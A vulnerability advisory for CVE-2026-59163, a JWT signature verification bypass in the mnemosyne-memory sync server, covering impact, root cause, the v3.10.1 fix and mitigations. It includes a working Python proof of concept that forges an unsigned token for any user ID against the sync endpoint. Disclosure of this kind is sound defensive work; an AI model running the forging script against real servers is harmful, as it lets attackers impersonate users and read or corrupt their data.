CVE-2026-59163: mnemosyne-memory JWT Signature Verification Bypass
The mnemosyne sync server accepted any well-formed JWT token without ever checking its signature, letting anyone impersonate any user and read or overwrite their synced memory data without knowing…
The problem
The sync server in mnemosyne-memory <= 3.10.0 decoded JWT bearer tokens from the Authorization header but passed them to the jwt library with options that disabled signature verification entirely. Any structurally valid token, including ones signed with the wrong key or carrying alg: none, was accepted as authentic.
An unauthenticated attacker with network access to the sync endpoint could forge a token for any user_id, authenticate as that user against /sync/status, /sync/push, and /sync/pull, read their full sync state, and push malicious events to corrupt their local database.
Confidentiality and integrity of all sync data are fully compromised.
Proof of concept
A working proof-of-concept for CVE-2026-59163 in mnemosyne-memory, with the exact payload below.
import base64
import json
import requests
# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=")
payload = base64.urlsafe_b64encode(
json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
).rstrip(b"=")
sig = b"" # empty signature -- server never checked it
return f"{header.decode()}.{payload.decode()}."
r = requests.get(
"https://target.example.com/sync/status",
headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
# 200 OK + valid sync status confirms the bypassThe root cause (CWE-347: Improper Verification of Cryptographic Signature) is that the old code parsed the JWT's header and payload by base64-decoding them directly, then called the jwt library with options that effectively skipped the HMAC-SHA256 check. Because the signature segment was never validated, an attacker could supply an empty third segment and any payload they liked.
The patch in v3.10.1 (commit a0b6b871) replaced that broken decode path with a from-scratch HS256 verifier using only the Python standard library. It enforces a strict alg: HS256 allowlist (rejecting none, RS256, and anything else), recomputes the HMAC-SHA256 over the header.payload bytes using the configured secret, and compares the result against the token's signature field with hmac.compare_digest to prevent timing attacks. exp is also validated with UTC awareness.
The fix
Upgrade to mnemosyne-memory 3.10.1 (pip install --upgrade mnemosyne-memory). If you cannot upgrade immediately, restrict network access to the sync endpoint via firewall rules, a reverse proxy with mTLS, or a localhost bind with an SSH tunnel. The vulnerability is not exploitable against an unreachable endpoint.
Reported by Denis Hache (dplush).
Related research
- high · 8.2CVE-2026-53501CVE-2026-53501: thumbor HMAC Signature Validation Bypass via Repeated URL Segments
- critical · 9.8motionEye LFI to Unauthenticated RCE Chain (CVSS 9.8)
- high · 7.5LMDeploy SSRF Bypass via urlparse and requests Parser Disagreement
- criticalCVE-2026-63374CVE-2026-63374: anyio TLS Certificate Spoofing via IDNA 2003 Hostname Encoding